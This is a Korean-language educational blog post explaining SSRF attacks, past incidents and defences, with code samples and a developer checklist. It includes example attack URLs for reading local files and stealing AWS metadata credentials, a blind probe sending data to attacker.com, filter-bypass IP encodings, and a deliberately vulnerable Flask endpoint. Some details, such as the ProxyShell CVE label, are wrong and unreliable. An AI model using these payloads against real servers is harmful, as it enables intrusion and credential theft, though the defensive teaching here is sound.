SSRF (Server-Side Request Forgery) 완전 해설: 서버를 "속여서" 내부망을 공격하다
452% 급증한 공격, SSRF가 2024년 최악의 위협이 된 이유
2024년, 웹 보안 세계는 하나의 공격 유형에 주목했습니다. 바로 SSRF(Server-Side Request Forgery, 서버 측 요청 위조) 입니다.
SonicWall의 2025 사이버 위협 보고서에 따르면, SSRF 공격은 2023년 대비 2024년에 452% 급증했습니다. 이 폭발적 증가는 AI 기반 자동화 도구의 확산과 클라우드 인프라의 보편화가 맞물린 결과입니다. 과거에는 고급 해커만 수행할 수 있었던 SSRF 공격이, 이제는 자동화 도구로 누구나 시도할 수 있게 되었습니다.
OWASP는 2021년 Top 10 목록에 A10: Server-Side Request Forgery (SSRF) 를 신규 항목으로 추가하며, 이 취약점의 심각성을 공식 인정했습니다. 2019년 Capital One에서 발생한 1억 600만 명의 개인정보 유출 사건, 2024년 Ivanti Connect Secure 대규모 침해 사건 모두 SSRF가 핵심 공격 벡터였습니다.
이 글에서는 SSRF가 무엇인지, 왜 이렇게 위험한지, 어떻게 작동하는지, 그리고 개발자와 보안팀이 어떻게 대응해야 하는지를 실제 사건과 코드 레벨까지 깊이 살펴보겠습니다.
SSRF란 무엇인가? — 서버를 "대리인"으로 만드는 공격
정의
SSRF(Server-Side Request Forgery) 는 공격자가 서버를 조작하여 서버 자신이 의도하지 않은 내부 또는 외부 리소스에 HTTP 요청을 보내도록 만드는 공격입니다.
핵심은 "서버가 공격자의 대리인이 된다" 는 점입니다. 공격자가 직접 접근할 수 없는 내부 네트워크, 클라우드 메타데이터, 관리자 페이지 등에 서버를 통해 간접적으로 접근합니다.
왜 "Server-Side" Request Forgery인가?
- Server-Side: 공격이 서버 측에서 실행됩니다 (클라이언트가 아님)
- Request Forgery: 서버가 보내는 요청이 위조(Forgery) 되었습니다
서버는 일반 사용자보다 훨씬 넓은 접근 권한을 가지고 있습니다. 방화벽으로 보호된 내부 네트워크, localhost의 관리 인터페이스, 클라우드 메타데이터 서비스 — 이 모든 것에 서버는 접근할 수 있습니다. SSRF는 바로 이 신뢰받는 서버의 권한을 악용합니다.
SSRF의 작동 원리: 신뢰 관계의 악용
정상적인 시나리오
많은 웹 애플리케이션은 외부 URL에서 데이터를 가져오는 기능을 제공합니다:
- 프로필 이미지 URL 입력 → 서버가 해당 URL에서 이미지를 다운로드
- 웹 페이지 미리보기 → 서버가 URL을 방문하여 썸네일 생성
- 웹훅(Webhook) → 서버가 지정된 URL로 이벤트 알림 전송
- 파일 임포트 → 서버가 외부 URL에서 데이터 파일을 가져옴
공격 시나리오
공격자는 이런 기능에서 URL 파라미터를 조작하여, 서버가 내부 리소스에 요청을 보내도록 만듭니다:
정상 요청:
https://mysite.com/fetch-image?url=https://cdn.example.com/avatar.jpg
악성 요청:
https://mysite.com/fetch-image?url=http://localhost:8080/admin/delete-all
무슨 일이 일어나는가:
- 공격자가 url=http://localhost:8080/admin/delete-all 파라미터를 전송
- 서버가 이 URL로 HTTP 요청을 보냄
- localhost:8080은 서버 자신의 내부 관리 페이지
- 서버는 자기 자신에게 요청을 보내므로, 방화벽을 우회함
- 관리자 페이지가 "서버에서 온 요청"으로 인식하여 인증 없이 실행
- 모든 데이터가 삭제됨
공격자는 직접 접근할 수 없는 localhost:8080/admin에 서버를 통해 간접 접근한 것입니다.
CSRF vs SSRF — 무엇이 다른가?
SSRF는 이름 때문에 CSRF와 혼동되지만, 공격 대상과 메커니즘이 완전히 다릅니다:
| 구분 |
CSRF (Cross-Site Request Forgery) | SSRF (Server-Side Request Forgery) |
| 공격 실행 주체 | 사용자의 브라우저 (클라이언트) | 웹 애플리케이션 서버 |
| 공격 대상 | 서버 (사용자 권한으로) | 내부 네트워크, 클라우드 메타데이터 등 |
| 신뢰 관계 악용 | 웹사이트가 사용자를 신뢰 | 내부 시스템이 서버를 신뢰 |
| 요청 출발점 | 피해자 브라우저 | 서버 자신 |
| 필요한 조건 | 사용자가 로그인된 상태 | URL을 받는 서버 기능 |
| 주요 피해 | 사용자 계정 권한 남용 | 내부 네트워크 침투, 정보 유출 |
| 방어 방법 | CSRF 토큰, SameSite 쿠키 | URL 허용 목록, 네트워크 분리 |
핵심 차이:
- CSRF: "당신(사용자)의 이름으로 요청을 보냅니다"
- SSRF: "서버를 속여서 서버의 이름으로 요청을 보냅니다"
SSRF 공격의 주요 유형
1. Basic SSRF (Non-Blind) — 응답이 반환되는 공격
서버가 요청을 보내고 응답을 공격자에게 반환하는 경우입니다. 가장 직접적이고 효과적인 공격 유형입니다.
공격 시나리오: 내부 파일 읽기
웹사이트의 "URL에서 이미지 가져오기" 기능:
# ❌ 취약한 코드
from flask import Flask, request
import requests
@app.route('/fetch-image')
def fetch_image():
url = request.args.get('url')
response = requests.get(url) # 검증 없이 요청
return response.content, 200, {'Content-Type': 'image/jpeg'}
공격 요청:
https://mysite.com/fetch-image?url=file:///etc/passwd
서버가 file:// 프로토콜로 로컬 파일을 읽고, 그 내용을 공격자에게 반환합니다. 시스템의 사용자 목록이 노출됩니다.
공격 시나리오: 내부 네트워크 스캔
https://mysite.com/fetch-image?url=http://192.168.1.1:22
https://mysite.com/fetch-image?url=http://192.168.1.1:80
https://mysite.com/fetch-image?url=http://192.168.1.1:3306
응답 시간과 오류 메시지를 분석하여, 내부 네트워크의 어떤 포트가 열려있는지 스캔할 수 있습니다. 이는 내부 네트워크 구조를 파악하는 정찰(Reconnaissance) 단계입니다.
2. Blind SSRF — 응답이 보이지 않는 공격
서버가 요청을 보내지만 응답을 공격자에게 직접 반환하지 않는 경우입니다. 이 경우 공격자는 간접적인 신호를 통해 공격을 확인합니다.
탐지 방법
공격자는 자신이 제어하는 서버에 요청을 보내도록 만들어, 서버 로그를 확인합니다:
https://mysite.com/webhook?url=http://attacker.com/log?data=ssrf-test
공격자의 서버(attacker.com)에 요청이 도착하면, SSRF 취약점이 존재함을 확인할 수 있습니다.
활용 사례
Blind SSRF로도 충분히 위험한 공격이 가능합니다:
- 파일 삭제: file:///var/www/html/index.php (응답이 없어도 파일이 삭제됨)
- 관리 작업 실행: http://localhost:8080/admin/reset-password?user=admin
- 서비스 재시작: http://localhost:9000/restart
3. 클라우드 메타데이터 공격 — AWS/GCP/Azure 표적
클라우드 환경에서 가장 치명적인 SSRF 공격 유형입니다. 클라우드 플랫폼은 메타데이터 서비스를 제공하는데, 이는 인스턴스 내부에서만 접근 가능한 특수 IP 주소입니다:
- AWS: http://169.254.169.254/latest/meta-data/
- Google Cloud: http://metadata.google.internal/computeMetadata/v1/
- Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
공격 시나리오: AWS 자격 증명 탈취
# 공격 요청
https://mysite.com/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
서버가 반환하는 응답:
ISRM-WebApp-Role
추가 요청:
https://mysite.com/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WebApp-Role
응답:
{
"Code": "Success",
"LastUpdated": "2025-02-04T10:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJal...",
"Token": "IQoJ..."
}
공격자는 이제 AWS 계정의 임시 자격 증명을 획득했습니다. 이것으로 S3 버킷, RDS 데이터베이스, EC2 인스턴스 등 모든 AWS 리소스에 접근할 수 있습니다.
실제 피해 사건: SSRF가 만들어낸 역사
Capital One 대규모 개인정보 유출 (2019년)
2019년 7월, 미국의 대형 금융기관 Capital One에서 1억 600만 명의 개인정보가 유출되는 사건이 발생했습니다. 이는 미국 역사상 최대 규모의 금융 데이터 침해 중 하나로 기록되었습니다.
공격 프로세스
- 취약점 발견: 공격자는 Capital One의 웹사이트에서 신용카드 이미지를 사용자 정의할 수 있는 기능을 발견했습니다
- SSRF 악용: 이미지 URL 파라미터를 조작하여 AWS 메타데이터 서비스에 접근:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
- 자격 증명 탈취: IAM 역할의 AccessKey, SecretKey, Token을 획득
- S3 버킷 접근: 탈취한 자격 증명으로 AWS S3 버킷에 로그인
- 데이터 유출: 약 700개의 S3 버킷에서 개인정보 다운로드
- 140,000개의 사회보장번호
- 80,000개의 은행 계좌 번호
- 1억 명 이상의 신용카드 신청 데이터
피해 규모
- 집단 소송: 수백만 달러 규모의 집단 소송 제기
- 규제 벌금: 연방거래위원회(FTC)로부터 8천만 달러 벌금
- 기업 평판: 주가 하락 및 고객 신뢰 추락
Ivanti Connect Secure 침해 사건 (2024년)
2024년 초, CVE-2024-21893 SSRF 취약점이 Ivanti Connect Secure VPN 게이트웨이에서 발견되었습니다. 이 취약점은 국가 후원 해킹 그룹들에 의해 적극적으로 악용되었습니다.
공격 원리
Ivanti의 SAML 인증 컴포넌트에서 URL 검증이 부족하여, 공격자가 인증 없이 내부 리소스에 접근할 수 있었습니다:
POST /api/v1/saml/request
{
"assertionConsumerServiceURL": "http://localhost:8080/admin/config"
}
피해
- 전 세계 수천 개 조직 영향 (정부, 금융, 의료, 교육)
- 영국 사이버보안센터(NCSC) 긴급 경보 발령
- 미국 CISA 2025년 10월 27일 패치 마감일 설정 (KEV 목록 추가)
Microsoft Exchange ProxyShell (2021년)
CVE-2021-26855 취약점은 Microsoft Exchange Server의 SSRF 결함으로, 공격자가 인증 없이 Exchange 서버의 모든 이메일을 읽을 수 있었습니다.
중국 해킹 그룹 Hafnium이 이 취약점을 제로데이로 악용하여, 전 세계 수만 개의 Exchange 서버를 침해했습니다. 미국 백악관은 이 사건에 대해 공식 성명을 발표할 정도로 심각한 국가적 위협으로 간주되었습니다.
대응 방안: 개발자가 반드시 알아야 할 것들
① URL 허용 목록 (Allowlist) — 가장 강력한 방어
Allowlist(허용 목록) 방식은 "허용된 도메인에만 접근"하도록 제한하는 방법으로, 가장 안전한 접근법입니다.
# ✅ 안전한 코드 — 허용 목록 적용
from flask import Flask, request
import requests
from urllib.parse import urlparse
ALLOWED_DOMAINS = ['cdn.example.com', 'images.example.com']
@app.route('/fetch-image')
def fetch_image():
url = request.args.get('url')
# URL 파싱
parsed = urlparse(url)
# 허용된 도메인인지 검증
if parsed.hostname not in ALLOWED_DOMAINS:
return 'Forbidden: Domain not allowed', 403
# HTTPS만 허용
if parsed.scheme != 'https':
return 'Forbidden: Only HTTPS is allowed', 403
# 요청 실행
response = requests.get(url, timeout=5)
return response.content
주의사항:
- Blocklist(차단 목록)은 우회가 쉬워 사용하지 말아야 합니다
- 127.0.0.1을 차단해도 127.1, 0177.0.0.1 (8진수), 2130706433 (10진수 변환) 등으로 우회 가능
② 프로토콜 제한 — 위험한 프로토콜 차단
file://, gopher://, dict://, ftp:// 등 위험한 프로토콜을 차단합니다:
// ✅ Node.js — 안전한 코드
const axios = require('axios');
const { URL } = require('url');
const ALLOWED_PROTOCOLS = ['https:', 'http:'];
async function fetchURL(userUrl) {
try {
const parsedUrl = new URL(userUrl);
// 프로토콜 검증
if (!ALLOWED_PROTOCOLS.includes(parsedUrl.protocol)) {
throw new Error(`Protocol ${parsedUrl.protocol} not allowed`);
}
// Private IP 차단
const hostname = parsedUrl.hostname;
if (isPrivateIP(hostname)) {
throw new Error('Private IP addresses not allowed');
}
const response = await axios.get(userUrl, { timeout: 5000 });
return response.data;
} catch (error) {
console.error('Fetch error:', error.message);
return null;
}
}
function isPrivateIP(hostname) {
// localhost 및 내부 IP 대역 차단
const privateRanges = [
/^localhost$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./,
/^192\.168\./,
/^169\.254\./, // AWS 메타데이터 포함
/^::1$/, // IPv6 localhost
/^fc00:/, // IPv6 private
/^fe80:/ // IPv6 link-local
];
return privateRanges.some(pattern => pattern.test(hostname));
}
③ 네트워크 분리 (Segmentation) — 인프라 레벨 방어
애플리케이션 서버가 내부 네트워크에 직접 접근하지 못하도록 네트워크를 분리합니다:
[인터넷] → [DMZ: 웹 서버] → [방화벽] → [내부망: 데이터베이스, 관리 서버]
구현 방법:
- VPC/서브넷 분리 (AWS, GCP, Azure)
- Security Group 규칙으로 아웃바운드 트래픽 제한
- 프록시 서버 사용: 모든 외부 요청은 전용 프록시를 통해서만 허용
④ 클라우드 메타데이터 보호
AWS IMDSv2 사용 (Session-Based)
AWS는 메타데이터 서비스의 보안을 강화한 IMDSv2를 제공합니다. IMDSv2는 토큰 기반 인증을 요구하므로, 단순 HTTP GET 요청으로는 접근할 수 없습니다:
# IMDSv1 (취약) - 단순 GET 요청으로 접근 가능
curl http://169.254.169.254/latest/meta-data/
# IMDSv2 (안전) - 먼저 토큰을 획득해야 함
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
EC2 인스턴스 설정:
# IMDSv2 강제 적용
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
GCP/Azure 메타데이터 보호
# Google Cloud — 메타데이터 헤더 요구
headers = {'Metadata-Flavor': 'Google'}
response = requests.get('http://metadata.google.internal/computeMetadata/v1/', headers=headers)
# Azure — api-version 파라미터 필수
response = requests.get('http://169.254.169.254/metadata/instance?api-version=2021-02-01')
⑤ 응답 필터링 — 민감 정보 노출 차단
서버가 외부 URL의 응답을 그대로 반환하지 않도록 필터링합니다:
# ✅ 응답 필터링
@app.route('/fetch-image')
def fetch_image():
url = request.args.get('url')
# URL 검증 (생략)
response = requests.get(url, timeout=5)
# Content-Type 검증
content_type = response.headers.get('Content-Type', '')
if not content_type.startswith('image/'):
return 'Error: Expected image content', 400
# 파일 크기 제한 (5MB)
if len(response.content) > 5 * 1024 * 1024:
return 'Error: File too large', 400
return response.content, 200, {'Content-Type': content_type}
⑥ DNS 리바인딩 방어
공격자는 DNS 리바인딩을 통해 허용 목록을 우회할 수 있습니다:
- attacker.com의 DNS를 처음에는 1.2.3.4 (공개 IP)로 설정
- 서버가 도메인 검증 통과
- DNS를 즉시 127.0.0.1로 변경 (TTL=0)
- 서버가 실제 요청할 때는 127.0.0.1로 연결됨
방어:
import socket
def resolve_and_validate(hostname):
# DNS 조회
ip = socket.gethostbyname(hostname)
# 조회된 IP가 private range인지 검증
if isPrivateIP(ip):
raise ValueError('Private IP not allowed')
return ip
⑦ 리다이렉션 차단
많은 SSRF 공격은 HTTP 리다이렉션을 악용합니다:
https://allowed-domain.com/redirect?to=http://169.254.169.254/latest/meta-data/
방어:
# ✅ 리다이렉션 차단
response = requests.get(url, allow_redirects=False, timeout=5)
if response.status_code in [301, 302, 303, 307, 308]:
return 'Error: Redirects not allowed', 403
또는 리다이렉션을 허용하되, 리다이렉트된 URL도 검증:
response = requests.get(url, allow_redirects=True, timeout=5)
# 최종 URL 검증
final_url = response.url
parsed = urlparse(final_url)
if parsed.hostname not in ALLOWED_DOMAINS:
return 'Forbidden: Redirect to unauthorized domain', 403
개발자 체크리스트: SSRF 방지 여부 자진 점검
| 항목 | 확인 여부 |
| URL을 받는 모든 기능에 허용 목록(Allowlist)을 적용하고 있는가? | ☐ |
| file://, gopher://, dict:// 등 위험한 프로토콜을 차단하고 있는가? | ☐ |
| Private IP 대역(127.0.0.1, 192.168.x.x, 169.254.169.254)을 차단하고 있는가? | ☐ |
| 클라우드 환경에서 IMDSv2 (AWS) 또는 유사 메타데이터 보호를 활성화했는가? | ☐ |
| HTTP 리다이렉션을 차단하거나, 리다이렉트된 URL도 검증하고 있는가? | ☐ |
| 네트워크 세그먼테이션으로 웹 서버와 내부 시스템을 분리했는가? | ☐ |
| DNS 리바인딩 공격을 방어하기 위해 IP 주소도 검증하는가? | ☐ |
| 외부 요청 기능에 타임아웃과 크기 제한을 설정했는가? | ☐ |
| 정기적으로 SSRF 취약점 스캐닝을 수행하는가? | ☐ |
SSRF 탐지 및 모니터링
의심스러운 패턴
다음과 같은 로그 패턴은 SSRF 공격 시도를 의미할 수 있습니다:
# 내부 IP 접근 시도
GET /fetch?url=http://127.0.0.1:8080
GET /fetch?url=http://192.168.1.1
GET /fetch?url=http://169.254.169.254
# 비표준 프로토콜 시도
GET /fetch?url=file:///etc/passwd
GET /fetch?url=gopher://localhost:11211
# URL 인코딩/난독화 시도
GET /fetch?url=http://127.1
GET /fetch?url=http://0177.0.0.1
GET /fetch?url=http://2130706433
모니터링 구현
import logging
logger = logging.getLogger('ssrf_monitor')
def monitor_url_request(url, user_ip):
parsed = urlparse(url)
# 의심스러운 패턴 감지
suspicious = False
reason = []
if parsed.hostname in ['localhost', '127.0.0.1']:
suspicious = True
reason.append('localhost_access')
if parsed.scheme in ['file', 'gopher', 'dict']:
suspicious = True
reason.append('dangerous_protocol')
if '169.254.169.254' in url:
suspicious = True
reason.append('cloud_metadata_access')
if suspicious:
logger.warning(f"SSRF attempt detected: {url} from {user_ip}, reasons: {reason}")
# 알림 전송 (Slack, Email, SIEM 등)
프레임워크별 SSRF 보호 라이브러리
| 언어/프레임워크 |
권장 라이브러리 | 기능 |
| Python | ssrf-guard | URL 검증, Private IP 차단 |
| Node.js | ssrf-req-filter | 요청 필터링 |
| Java | SafeUrl (커스텀) | URL 파싱 및 검증 |
| Go | safebrowsing | Google Safe Browsing API 연동 |
| Ruby | ssrf_filter | SSRF 방어 gem |
마지막으로
SSRF는 서버의 신뢰받는 위치를 악용하여, 공격자가 직접 접근할 수 없는 내부 시스템까지 침투할 수 있는 치명적인 취약점입니다. 2024년 452% 급증한 공격 건수는 이것이 단순히 이론적 위협이 아니라 지금 이 순간 수만 건씩 시도되는 실질적 공격임을 보여줍니다.
Capital One의 1억 명 데이터 유출, Ivanti의 국가적 위협 수준 침해 — 이 모든 사건의 시작은 "URL을 검증하지 않은" 단순한 실수였습니다.
다행스러운 것은, 이 공격을 막는 방법이 명확하다는 것입니다:
① 허용 목록(Allowlist)을 사용한다
② file://, gopher:// 등 위험한 프로토콜을 차단한다
③ Private IP 대역을 철저히 차단한다
④ 클라우드 메타데이터 보호를 활성화한다 (IMDSv2)
⑤ 네트워크를 분리하여 웹 서버의 내부망 접근을 제한한다
보안은 한 번에 완성되는 것이 아니라, 습관과 프로세스로 쌓아가는 것입니다. 위의 체크리스트를 팀 내에서 정기적으로 점검하고, 코드 리뷰에서 SSRF 취약점을 함께 찾아내는 문화를 만드는 것이 가장 현실적인 출발점입니다.
서버가 공격자의 "대리인"이 되지 않도록, 지금부터 시작하세요.
댓글